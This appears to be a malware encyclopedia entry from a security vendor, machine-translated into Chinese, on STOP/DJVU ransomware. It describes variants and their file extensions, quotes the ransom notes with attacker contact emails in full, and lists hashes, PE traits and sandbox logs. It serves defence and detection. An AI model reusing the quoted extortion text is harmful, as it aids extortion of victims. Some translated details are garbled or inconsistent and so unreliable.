STOP勒索軟件

PC安全研究人員於2018年2月21日收到有關涉及勒索軟件STOP勒索軟件的威脅的勒索軟件攻擊的報告。STOP Ransomware基於開源勒索軟件平台，並執行加密勒索軟件攻擊的典型版本。 STOP勒索軟件是使用包含損壞的文件附件的垃圾郵件來分發的。這些文件附件採用帶有嵌入式宏腳本的DOCX文件的形式，這些腳本將STOP Ransomware下載並安裝到受害者的計算機上。學習如何識別網絡釣魚電子郵件並避免下載收到的任何未經請求的文件附件是避免這些攻擊的方法之一。

如何識別STOP勒索軟件感染

一旦將STOP Ransomware安裝到受害者的計算機上，STOP Ransomware就會在受害者的驅動器中搜索各種文件類型，通常會尋找用戶生成的文件，例如圖像，媒體文件和許多其他文檔類型。 STOP Ransomware似乎也針對目標Web服務器而設計，因為它查找通常包含在這些計算機中的數據庫文件和類似文件類型。 STOP勒索軟件將搜索並針對其攻擊的文件類型包括：

.3dm，.3g2，.3gp，.7zip，.aaf，.accdb，.aep，.aepx，.aet，.ai，.aif，.as，.as3，.asf，.asp，.asx，.avi ，.bmp，.c，.class，.cpp，.cs，.csv，.dat，.db，.dbf，.doc，.docb，.docm，.docx，.dot，.dotm，.dotx 、. dwg，.dxf，.efx，.eps，.fla，.flv，.gif，.h，.idml，.iff，.indb，.indd，.indl，.indt，.inx，.jar，.java， .jpeg，.jpg，.js，.m3u，.m3u8，.m4u，.max，.mdb，.mid，.mkv，.mov，.mp3，.mp4，.mpa，.mpeg，.mpg，.msg ，.pdb，.pdf，.php，.plb，.pmd，.png，.pot，.potm，.potx，.ppam，.ppj，.pps，.ppsm，.ppsx，.ppt，.pptm 、. pptx，.prel，.prproj，.ps，.psd，.py，.ra，.rar，.raw，.rb，.rtf，.sdf，.sdf，.ses，.sldm，.sldx，.sql， .svg，.swf，.tif，.txt，.vcf，.vob，.wav，.wma，.wmv，.wpd，.wps，.xla，.xlam，.xll，.xlm，.xls，.xlsb ，.xlsm，.xlsx，.xlt，.xltm，.xltx，.xlw，.xml，.xqx，.xqx，.zip。

STOP勒索軟件使用一種強大的加密算法來使每個受害者的文件都無法訪問。 STOP勒索軟件攻擊將在其加密的文件中添加文件擴展名“ .SUSPENDED”，以標記受影響的文件。

STOP勒索軟件的勒索筆記

STOP勒索軟件通過向受害者的計算機提供贖金通知書要求贖金。該贖金記錄以文本文件的形式顯示在受害者桌面上。該文件名為'!!! YourDataRestore !!!。txt”，包含以下消息：

'您的所有重要文件均已在此PC上加密。
所有擴展名為.STOP的文件均已加密. 加密是使用為此計算機生成的唯一私鑰RSA-1024生成的。
要解密文件，您需要獲取私鑰+解密軟件。
要檢索私鑰和解密軟件，您需要通過電子郵件與我們聯繫stopfilesrestore@bitmessage.ch向我們發送電子郵件，您的!!! YourDataRestore !!!。txt文件，並等待進一步的說明。
為確保您可以解密我們的文件，您可以向我們發送1-3加密程度不高的文件，並以原始格式免費將其退還給我們。
如果您在72個小時內與我們聯繫，解密價格為600美元。
您的個人編號：
[隨機字符]
與我們聯繫的電子郵件地址：
stopfilesrestoret@bitmessage.ch
保留電子郵件地址與我們聯繫：
stopfilesrestore@india.com'

STOP勒索軟件的負責人要求在72小時內使用比特幣向特定的比特幣錢包地址支付600美元的贖金。但是，聯繫這些人或支付STOP Ransomware贖金可能不是最佳解決方案。

保護數據免受STOP勒索軟件和其他勒索軟件木馬的侵害

防範STOP勒索軟件和其他勒索軟件木馬的最佳保護是擁有文件備份。擁有文件備份副本的計算機用戶可以在遭受攻擊後輕鬆恢復這些文件，而不必訴諸贖金。推薦的安全程序還可以防止首先安裝STOP勒索軟件。

更新2018年12月6日—'helpshadow@india.com'勒索軟件

“ helpshadow@india.com”勒索軟件被歸類為帶有STOP Ransomware品牌的代碼的較小更新。威脅作者似乎沒有足夠的時間來完善新變種，因為它的感染率很低。視音頻供應商迅速使用了“ helpshadow@india.com”勒索軟件，並且已經通過主要的社交平台和網絡安全報告發布了警報。不幸的是，還沒有免費解密的可能性。用戶通常會通過電子郵件收到的損壞的文檔而受到損害。已知該威脅會刪除Windows創建的Shadow Volume快照，並將“ .shadow”擴展名附加到加密對像上。例如，“ C12-H22-O11.pptx”重命名為“ C12-H22-O11.pptx.shadow”，並且在桌面上出現了名為“！readme.txt”的贖金字樣。 “ helpshadow@india.com”勒索軟件可能會向受感染的用戶顯示以下消息：

'您的所有文件都已加密
不用擔心，您可以返回所有文件！
您所有的文件文檔，照片，數據庫和其他重要文件均使用最強的加密和唯一密鑰進行加密。
恢復文件的唯一方法是為您購買解密工具和唯一密鑰。
該軟件將解密您所有的加密文件。
我們為您提供什麼保證？
您可以從PC發送加密文件之一，而我們將免費對其進行解密。
但是我們只能免費解密1個文件。文件中不得包含有價值的信息
不要嘗試使用第三方解密工具，因為它會破壞您的文件。
如果您在72小時內與我們聯繫，可享受50％的折扣。
要獲得此軟件，您需要在我們的電子郵件中寫信：
helpshadow@india.com
保留電子郵件地址與我們聯繫：
helpshadow@firemail.cc
您的個人ID：
[隨機字符]

上面顯示的文本供早於“ helpshadow@india.com”勒索軟件發布的變體使用，唯一值得注意的更改是新的電子郵件配置. “ helpshadow@india.com”勒索軟件以其中一個電子郵件聯繫人的名字命名，另一個以用戶名相同但在不同電子郵件平台上的用戶身份命名為“ helpshadow@firemail.cc”。在您收到本文時，這兩個電子郵件帳戶都可能被終止。考慮到勒索軟件運營商使用代理，VPN服務和TOR網絡來隱藏他們的控制設備，捕獲在helpshadow@india.com勒索軟件背後的人的機會並不大。因此，用戶需要主動保護自己的數據。第一個步驟-在系統上安裝備份程序；第二步-不要打開未知發件人的文件。請記住，將數據備份導出到可移動內存存儲或文件託管服務。

更新2018年12月13日—“ .djvu文件擴展名”勒索軟件

'.djvu文件擴展名'勒索軟件是STOP Ransomware的新變體，已於2018年12月12日發布。計算機安全研究人員將'.djvu文件擴展名'勒索軟件歸類為STOP Ransomware和之前版本的一個小更新。警告該威脅仍主要通過垃圾郵件來分發。威脅參與者一直在使用啟用宏的文檔和偽造的PDF來誘騙用戶靜默安裝程序。使用“ .djvu文件擴展名”勒索軟件進行的攻擊與2018年2月的第一波感染幾乎相同。該威脅會刪除Shadow Volume快照和連接到內存驅動器的映射，然後再加密用戶數據。新的變體支持不同的文件擴展名，贖金記錄略有更改。顧名思義，文件帶有“ .djvu”後綴，並且類似“ Jonne-Kaiho.mp3”的名稱被重命名為“ Jonne-Kaiho.mp3.djvu”。贖金記錄可以在桌面上顯示為“ _openme.txt”，並顯示為：

'您的所有文件都已加密
不用擔心，您可以返回所有文件！
您所有的文件文檔，照片，數據庫和其他重要文件均使用最強的加密和唯一密鑰進行加密。
恢復文件的唯一方法是為您購買解密工具和唯一密鑰。
該軟件將解密您所有的加密文件。
我們為您提供什麼保證？
您可以從PC發送加密文件之一，而我們將免費對其進行解密。
但是我們只能免費解密1個文件。文件中不得包含有價值的信息
不要嘗試使用第三方解密工具，因為它會破壞您的文件。
如果您在72小時內與我們聯繫，可享受50％的折扣。
要獲得此軟件，您需要在我們的電子郵件中寫信：
helpshadow@india.com

您的個人ID：
[隨機字符]

威脅作者繼續使用“ helpshadow@india.com”和“ helpshadow@firemail.cc”電子郵件帳戶進行勒索軟件活動。不要相信STOP Ransomware團隊，請避免使用上述虛假的50％折扣。這裡討論的威脅參與者並不寬大處理。 PC用戶應使用可信任的反惡意軟件工具刪除“ .djvu文件擴展名”勒索軟件。最好使用備份映像和備份服務來恢復數據。

2019年1月11日更新—“ .tfude文件擴展名”勒索軟件

'.tfude File Extension'勒索軟件是STOP勒索軟件的版本，它於2019年1月11日發布。該威脅被歸類為與原始網絡威脅相比具有最少修改的版本。 “ .tfude文件擴展名”勒索軟件是以其損壞的代碼中唯一值得注意的更改命名的. 該木馬配置為將'.tfude'文件擴展名附加到加密數據。 “ .tfude文件擴展名”勒索軟件繼續使用標準加密技術和與Command服務器的安全連接，從而阻止安全專家為受到感染的用戶提供免費解密。

當前的加密威脅使用了政府機構和Google Inc.等公司用來保護數據傳輸安全的加密技術。加密的文件在Windows資源管理器中顯示為通用的白色圖標，並且用戶安裝的程序仍然可以運行。但是，由於威脅會編碼流行的數據庫格式，因此某些數據庫管理器可能無法正常工作。例如，“最近的sales.pdb”被重命名為“最近的sales.pdb.tfude”。勒索便箋從文件“ _openme.txt”加載到記事本中，該文件可以在桌面上找到。 “ .tfude File Extension”勒索軟件提供與原始木馬相同的消息，但這次威脅行動者正在使用“ pdfhelp@firemail.cc”電子郵件帳戶與用戶聯繫。用戶沒有免費的解密器，您將需要使用數據備份進行恢復。您將需要使用信譽良好的反惡意軟件儀器運行完整的系統掃描，以清理受感染的設備。

2019年1月23日更新—'pausa@bitmessage.ch'勒索軟件

“ pausa@bitmessage.ch”勒索軟件是由STOP勒索軟件生成器生成的文件編碼器惡意軟件。 “ pausa@bitmessage.ch”勒索軟件已於2018年5月的第一周通過垃圾郵件發布給PC用戶。快照阻礙恢復。眾所周知，“ pausa@bitmessage.ch”勒索軟件使用與其他成功的勒索軟件（例如Cerber和Dharma）相同的加密技術。 “ pausa@bitmessage.ch”勒索軟件經過編程，可從AppData目錄下的Temp文件夾運行，並將安全的AES-256密碼應用於文檔，視頻，音樂，數據庫和電子書。編碼後的數據以“ .PAUSA”為擴展名，類似“ Hartmann-Save me.mp3”的名稱已重命名為“ Hartmann-Save me.mp3.pausa”。勒索通知將另存為“ !! RESTORE !!!。txt”到用戶桌面，並顯示為：

'您的所有重要文件均已在此PC上加密。
所有擴展名為.PAUSA的文件都是加密的。
加密是使用為此計算機生成的唯一私鑰RSA-1024生成的。
要解密文件，您需要獲取私鑰+解密軟件。
要檢索私鑰和解密軟件，您需要通過電子郵件與我們聯繫pausa@bitmessage.ch向我們發送您的!!! RESTORE !!!。txt文件給我們，以等待進一步的指示。
為確保您可以解密我們的文件，您可以向我們發送1-3個不是很大的加密文件，我們將以原始格式免費將其退還給您。
如果您在72個小時內與我們聯繫，解密價格為600美元。
您的個人編號：
[隨機字符]
與我們聯繫的電子郵件地址：
pausa@bitmessage.ch
保留電子郵件地址與我們聯繫：
pausa@india.com'

我們建議您避免通過“ pausa@bitmessage.ch”和“ pausa@india.com”電子郵件帳戶與威脅參與者進行談判。借助著名的反惡意軟件工具，引導數據備份和清理系統更加安全。即使您支付了600美元的荒唐贖金，也無法保證您將獲得解密器。鼓勵PC用戶每月至少進行兩次數據備份，並忽略可能導致安全性受損的垃圾郵件。. 視音頻公司支持“ pausa@bitmessage.ch”勒索軟件的檢測規則，但是在編寫本文時，沒有免費的解密器可用。

2019年1月23日更新—'waiting@bitmessage.ch'勒索軟件

“ waiting@bitmessage.ch”勒索軟件是一種基於STOP勒索軟件的加密木馬。受感染用戶於2018年4月18日報告了``waiting@bitmessage.ch''勒索軟件，它似乎已通過損壞的Microsoft Word文檔入侵了計算機。記錄了“ waiting@bitmessage.ch”勒索軟件，以對受感染計算機上的照片，音頻，視頻和文本進行加密。不幸的是，惡意軟件作者添加了一個命令，以刪除Windows為保護您的數據而創建的捲快照。該特洛伊木馬使用帶有'.WAITING'擴展名且無法使用系統上的軟件打開的文件覆蓋目標數據。例如，將“ Hartmann-Like a River.mp3”重命名為“ Hartmann-River River.mp3.waiting”，然後將勒索消息放到桌面上。 “ waiting@bitmessage.ch”勒索軟件將“ !!! INFO_RESTORE !!!。txt”寫入桌面，並顯示以下文本：

'您的所有重要文件均已在此PC上加密。
所有擴展名為.WAITING的文件都是加密的。
加密是使用為此計算機生成的唯一私鑰RSA-1024生成的。
要解密文件，您需要獲取私鑰+解密軟件。
要檢索私鑰和解密軟件，您需要通過電子郵件waiting@bitmessage.ch與我們聯繫。向我們發送您的!!! INFO_RESTORE !!!。txt文件，並等待進一步的說明。
為確保您可以解密我們的文件，您可以向我們發送1-3個不是很大的加密文件，我們將以原始格式免費將其退還給您。
如果您在72個小時內與我們聯繫，解密價格為600美元。
您的個人編號：
[隨機字符]
與我們聯繫的電子郵件地址：
等待@ bitmessage.ch
保留電子郵件地址與我們聯繫：
等待@ india.com'

該惡意軟件不會干擾第三方備份工具，因此您應該能夠啟動數據備份。建議避免通過“ waiting@bitmessage.ch”和“ waiting@india.com”電子郵件地址與威脅參與者進行互動。如果您希望保護數據備份免受網絡傳輸的網絡威脅和大多數Ransomware變種（如“ waiting@bitmessage.ch” Ransomware）的侵害，則可能對探索文件託管服務感興趣。

在2019年及以後停止勒索軟件

在2019年晚些時候，STOP勒索軟件仍在使用中，並且正在測試新的攻擊媒介。 STOP勒索軟件開始出現在包含其他形式惡意軟件（主要是廣告軟件）的捆綁軟件中，您可以在聲稱託管有遊戲和軟件的破解可執行文件的網站上找到這些捆綁軟件。這樣，許多勒索軟件的新受害者被證明是充滿希望的軟件盜版者，他們尋找的是討價還價者。

也有證據表明，STOP勒索軟件正在安裝密碼竊取木馬，這些木馬能夠抓取各種登錄憑據。

勒索軟件還擴展了它使用的加密文件擴展名的長長列表。通過STOP勒索軟件加密的文件現在具有.rumba和.tro擴展名。到目前為止，幾乎沒有其他變化-贖金記錄仍在名為“ _openme.txt”的文件中找到，但贖金總額增加到980美元，如果受害人在感染後的前72小時內付款，則贖金減少到490美元。

SpyHunter 检测并删除 STOP勒索軟件

STOP勒索軟件 截图

分析报告

一般信息

姓：	STOP/DJVU Ransomware
簽名狀態：	No Signature

已知樣本

i

已知樣本

本節列出了其他據信與該家族有關的文件樣本。

MD5: def8a7bfe5fe47d95a95085d8dbc7a53 SHA1: 7182d4b2f55a560d83edf0824e119f71fa8422b6 SHA256: B83855EA63E7F28396099A5B6E877BE537E78E4A50DF720262461A1D13B02192 文件大小: 6.29 MB ， 6292105位元組

MD5: a6b8c0cb178c31dd347554c3e5a0d5f8 SHA1: 91864f269d696ee80869cfeb3c9a204f8031a3bb SHA256: 4FFB8E9ADF508662B5E51CBEC75B2E07CE1CBBFAAB873F72EDC7BAC385421E2C 文件大小: 3.47 MB ， 3471869位元組

MD5: 2336c9624d9a44c393d354206226f508 SHA1: ea7edc388ad62990f52b9ed40df26d20f4e20190 SHA256: CE48ED04C92143B7E91F9665DD9337B2EE0B9CC1B5AEE534D26C09E084F8ABB0 文件大小: 1.36 MB ， 1359918位元組

MD5: 42f32aa699bc45a3638ddeb325ebebc1 SHA1: 508cea3ba2bf04cc6851295f92bf0e752071f6b8 SHA256: 16532B38591B713395C288B11610494BCC4C4537BE492D43C54D66FEB7B95FA4 文件大小: 1.33 MB ， 1328186位元組

MD5: 2391d41548b6432191f73edefa273928 SHA1: 620b714f84955aa7fb9a2f2cd528daa1621e18af SHA256: 4D1EFAA3477B0B8D84025F3F0109E97ABA7CEB37F174B9DC79B7966CBB430959 文件大小: 3.36 MB ， 3357556位元組

顯示更多

MD5: 710c3a1beb616d4aa7d5ed9a7f8848e4 SHA1: 326da9ddc0ea840e83f31fbf1f3377a06c911fe5 SHA256: 051DAB5E5247E25D6EB059A574383FB1EC99A5A4AAF9AA3694240FE25FA260AB 文件大小: 1.36 MB ， 1364106位元組

MD5: 601b120a6f39f72847b2f581a3d5f158 SHA1: 0cc5781c1cfe6c5d034bd098229773e80e083732 SHA256: BEC2BFF460615A35D4EA35BF25E9F89337E35E73441A4AC07562CE8E89BED818 文件大小: 4.86 MB ， 4858569位元組

MD5: a7b76a49f289081961f8f3824f0b62ca SHA1: 6908790199785be7fc6c4eeb1fe426ee1b66cc0b SHA256: 1A721E054386833AEBBF94C75871143376897E92C4A48278DDE95E6987634F45 文件大小: 1.41 MB ， 1406899位元組

MD5: 9f37930d62a1e08f68aa0a72472e7a55 SHA1: 27706b3ff639e5dfa264a823dbe9229cf34ae153 SHA256: 29039902EEA4EE24C4C6368AA9B1D7F86BEC65ADA3ABDB0B92C1FEF311ACD31F 文件大小: 600.12 KB ， 600124位元組

MD5: 7a18839fe61e9cde0e8fea3100acfb2b SHA1: 9476c97a73e027016e9f6f2f20c2fb19264cd837 SHA256: 0271095F0AD5C6F26C9738ED5636E751B8868C1AE3B08D5D8C5218121D9FEEAF 文件大小: 316.83 KB ， 316832位元組

MD5: fe17d0f940a226e80cc18b4399da4ffc SHA1: cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b SHA256: D869A00DFA1BE0DF6D08BB72B790894D1861834D5E350F5DD54A70C3711BA713 文件大小: 1.36 MB ， 1363661位元組

MD5: ed83bea5600457af815495b10f235b87 SHA1: 14ac62ce3ae6b19186544e46ad7710d1814e3a9c SHA256: FC0AE843E31F77574448FF343F0E92A9F1953B43DC2495FFE2CA5F7F8E777401 文件大小: 9.59 MB ， 9590154位元組

MD5: 8cc4ef6bfd98074474e53cefc0029d0a SHA1: 7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9 SHA256: 72BE2A65C8E36058A40FB1EF582E944721F5D041044F454509242E00E6745198 文件大小: 1.41 MB ， 1407173位元組

MD5: 75e7ec1010908f6cf964ee32c9d57fed SHA1: 7cccec52318eadb6771ceef6404e19fc46ec8d07 SHA256: A309D56010D51F07741773ABCC44C767EF99C1031DEFA575F07D11DD11F09E35 文件大小: 2.44 MB ， 2442353位元組

Windows 可攜式執行檔屬性

i

Windows 可攜式執行檔屬性

本節列出了在惡意軟體家族樣本中發現的檔案屬性。這些屬性提取自文件的 Windows PE（可移植可執行檔）規格和各種系統標誌。可移植可執行檔屬性使惡意軟體研究人員能夠深入了解檔案的功能、可執行檔的詳細資訊、平台和執行時間環境。

• File doesn't have "Rich" header
• File doesn't have debug information
• File doesn't have exports table
• File doesn't have relocations information
• File doesn't have security information
• File has exports table
• File has TLS information
• File is 32-bit executable
• File is 64-bit executable
• File is either console or GUI application

顯示更多

• File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
• File is Native application (NOT .NET application)
• File is not packed
• IMAGE_FILE_DLL is not set inside PE header (Executable)
• IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

文件圖示

i

文件圖示

本部分展示了在惡意軟體家族樣本中找到的圖標資源。惡意軟體通常會複製與合法軟體相關的圖標，以誤導用戶，使其誤以為該惡意軟體是安全的。

Windows PE 版本資訊

i

Windows PE 版本資訊

本節顯示此系列樣本的 Windows 檔案版本資訊資料結構中已設定的值和屬性。為了誤導用戶，惡意軟體攻擊者通常會添加偽造的版本訊息，模仿合法軟體。

姓名	价值
Assembly Version	1.4.1.0
Comments	This installation was built with Inno Setup.
Company Name	Alexander Roshal Microsoft TrayToolbar win.rar GmbH WinTools Software Engineering, Ltd.
File Description	Archiwizer WinRAR Gestione archivi WinRAR RAM Saver Professional TrayToolbar WinRAR 5.60 64 Bit Setup WinRAR archiver WinRAR Installer
File Version	26.3.1 26.2.1 26.0.1 25.7.1 25.6.1 25.4.1 7.21.0.0 6.20.2 6.2.0 1.4.1.0 顯示更多 1.3.0.0 1.00
Internal Name	TJprojMain TrayToolbar.dll Win WinRAR winrar-7.21-setup
Legal Copyright	Copyright © 1993-2026 Александр Рошал Copyright © Alexander Roshal 1993-2021 Copyright © Alexander Roshal 1993-2022 Copyright © Alexander Roshal 1993-2025 © Brontech, LLC
Original Filename	TJprojMain.exe TrayToolbar.dll Win.exe winrar-7.21-setup.exe WinRAR.exe
Product Name	Project1 RAM Saver 25.4.1 Professional RAM Saver 25.6.1 Professional RAM Saver 25.7.1 Professional RAM Saver 26.0.1 Professional RAM Saver 26.2.1 Professional RAM Saver 26.3.1 Professional TrayToolbar Win WinRAR 顯示更多 WinRAR 5.60 64 Bit WinRAR Installer
Product Version	26.3.1 26.2.1 26.0.1 25.7.1 25.6.1 25.4.1 7.21 6.20.2 6.2.0 5.60 顯示更多 1.4.1+80dec33e25323db7125ddec35b475aa881292801 1.4.0 1.00

數位簽名

i

數位簽名

本節列出了該系列樣本所附帶的數位簽章。在分析和驗證數位簽章時，請務必確認簽章的根授權機構是知名且可信任的實體，且簽章狀態良好。惡意軟體通常使用不可信的「自簽名」數位簽名（惡意軟體作者可以輕鬆建立此類簽名，無需任何驗證）。惡意軟體也可能使用狀態無效的合法簽名，或使用來自可疑根授權機構且簽署者名稱虛假或具有誤導性的簽名。

簽署者	根	地位
win.rar GmbH	DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1	Self Signed
win.rar GmbH	GlobalSign CodeSigning CA - SHA256 - G3	Hash Mismatch

文件特徵

• .NET
• 2+ executable sections
• big overlay
• fptable
• HighEntropy
• Inno
• InnoSetup Installer
• Installer Manifest
• Installer Version
• MZ (In Overlay)

顯示更多

• No Version Info
• Nullsoft Installer
• RAR (In Overlay)
• RARinO
• Run
• SusSec
• vb6
• WinRAR SFX
• WRARSFX
• x64
• x86

文件已修改

i

文件已修改

本節列出了該系列樣本建立、修改、移動和/或刪除的檔案。檔案系統活動可以幫助我們深入了解惡意軟體在作業系統上的運作方式。

文件	屬性
\device\namedpipe	Generic Read,Write Attributes
\device\namedpipe	Generic Write,Read Attributes
\device\namedpipe\gmdasllogger	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-13e8d.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-2buvv.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-88uan.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-8gkji.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-af9e7.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-bfiig.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-dlucn.tmp\7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9_0001407173.tmp	Generic Write,Read Attributes

顯示更多

c:\users\user\appdata\local\temp\is-du263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-i0kj9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-jos42.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-l4opd.tmp\cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b_0001363661.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-pk5hm.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-r9udb.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-shkd6.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\nshfa46.tmp\chip.bmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\header.bmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\nsdialogs.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\screenshot.bmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\system.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\winrar-x64-721b1ru.exe	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\yandex.bmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\yandexbrowsersetup.exe	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsrfa35.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data,Delete
c:\users\user\appdata\local\temp\nsva331.tmp\banner.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\nsexec.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\system.dll	Generic Write,Read Attributes

註冊表修改

i

註冊表修改

本節列出了此系列樣本建立、修改和/或刪除的登錄項目和值。 Windows 登錄活動可以提供關於惡意軟體功能的寶貴資訊。此外，惡意軟體通常會建立註冊表值，以便在初始感染系統後自動啟動並無限期地持續存在。

鍵::值	数据	API名稱
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75	wk �8�jg�B �� �6 �v�� 7� �� �� ۀ ���T�B���������% ��3bBx�< ���! #�� $kF $��%`�%� &� &�-'�! (�(X�(� ) ; )E )�`*J*9 *�" ,=�-!R0P% 1`1�1HO5,]5�G>��@V�@�* A��B B��E�mF	RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe	졷鑂셱ǜ	RegNtPreCreateKey

Windows API 使用情況

i

Windows API 使用情況

本節列出了此系列樣本使用的 Windows API 呼叫。 Windows API 使用情況分析是一項寶貴的工具，可協助識別惡意活動，例如鍵盤記錄、安全權限提升、資料加密、資料外洩、幹擾防毒軟體以及網路請求篡改。

類別	API
Other Suspicious	SetWindowsHookEx
Anti Debug	IsDebuggerPresent OutputDebugString
User Data Access	GetUserDefaultLocaleName GetUserObjectInformation
Process Manipulation Evasion	NtUnmapViewOfSection ZwMapViewOfSection
Process Shell Execute	CreateProcess
Keyboard Access	GetKeyState
Syscall Use	ntdll.dll!NtAccessCheck ntdll.dll!NtAlertThreadByThreadId ntdll.dll!NtAlpcConnectPortEx ntdll.dll!NtAlpcCreateSecurityContext ntdll.dll!NtAlpcDeleteSecurityContext ntdll.dll!NtAlpcQueryInformation ntdll.dll!NtAlpcSendWaitReceivePort ntdll.dll!NtApphelpCacheControl ntdll.dll!NtClearEvent ntdll.dll!NtClose 顯示更多 ntdll.dll!NtConnectPort ntdll.dll!NtCreateEvent ntdll.dll!NtCreateMutant ntdll.dll!NtCreateSection ntdll.dll!NtCreateSemaphore ntdll.dll!NtCreateThreadEx ntdll.dll!NtDuplicateObject ntdll.dll!NtDuplicateToken ntdll.dll!NtEnumerateValueKey ntdll.dll!NtFreeVirtualMemory ntdll.dll!NtMapViewOfSection ntdll.dll!NtNotifyChangeKey ntdll.dll!NtOpenDirectoryObject ntdll.dll!NtOpenEvent ntdll.dll!NtOpenFile ntdll.dll!NtOpenKey ntdll.dll!NtOpenKeyEx ntdll.dll!NtOpenProcessToken ntdll.dll!NtOpenProcessTokenEx ntdll.dll!NtOpenSection ntdll.dll!NtOpenSemaphore ntdll.dll!NtOpenThreadToken ntdll.dll!NtOpenThreadTokenEx ntdll.dll!NtProtectVirtualMemory ntdll.dll!NtQueryAttributesFile ntdll.dll!NtQueryFullAttributesFile ntdll.dll!NtQueryInformationFile ntdll.dll!NtQueryInformationProcess ntdll.dll!NtQueryInformationThread ntdll.dll!NtQueryInformationToken ntdll.dll!NtQueryKey ntdll.dll!NtQueryLicenseValue ntdll.dll!NtQueryPerformanceCounter ntdll.dll!NtQuerySecurityAttributesToken ntdll.dll!NtQuerySecurityObject ntdll.dll!NtQuerySystemInformation ntdll.dll!NtQuerySystemInformationEx ntdll.dll!NtQueryValueKey ntdll.dll!NtQueryVirtualMemory ntdll.dll!NtQueryVolumeInformationFile ntdll.dll!NtQueryWnfStateData ntdll.dll!NtReleaseMutant ntdll.dll!NtReleaseSemaphore ntdll.dll!NtReleaseWorkerFactoryWorker ntdll.dll!NtRequestWaitReplyPort ntdll.dll!NtResumeThread ntdll.dll!NtSetEvent ntdll.dll!NtSetInformationKey ntdll.dll!NtSetInformationProcess ntdll.dll!NtSetInformationThread ntdll.dll!NtSetInformationVirtualMemory ntdll.dll!NtSetInformationWorkerFactory ntdll.dll!NtSetTimer2 ntdll.dll!NtSubscribeWnfStateChange ntdll.dll!NtTestAlert ntdll.dll!NtTraceControl ntdll.dll!NtUnmapViewOfSection ntdll.dll!NtUnmapViewOfSectionEx ntdll.dll!NtWaitForAlertByThreadId ntdll.dll!NtWaitForMultipleObjects ntdll.dll!NtWaitForSingleObject ntdll.dll!NtWaitForWorkViaWorkerFactory ntdll.dll!NtWaitLowEventPair ntdll.dll!NtWorkerFactoryWorkerReady ntdll.dll!NtWriteFile UNKNOWN
Encryption Used	BCryptOpenAlgorithmProvider

Shell指令執行

i

Shell指令執行

本節列出了此系列樣本運行的 Windows Shell 命令。惡意軟體經常利用 Windows Shell 指令進行惡意活動，例如提升安全權限、下載和啟動其他惡意軟體、利用漏洞、收集和竊取資料以及隱藏惡意活動。

"C:\Users\Lehsoaco\AppData\Local\Temp\is-88UAN.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp" /SL5="$5036E,928289,131584,c:\users\user\downloads\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918"

"C:\Users\Dfhrhqtz\AppData\Local\Temp\is-13E8D.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp" /SL5="$802E8,896816,131584,c:\users\user\downloads\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186"

"C:\Users\Eberzneu\AppData\Local\Temp\is-DU263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp" /SL5="$30364,932379,131584,c:\users\user\downloads\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106"

"C:\Users\Qxnqehmu\AppData\Local\Temp\is-8GKJI.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp" /SL5="$402E8,3435751,309760,c:\users\user\downloads\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569"

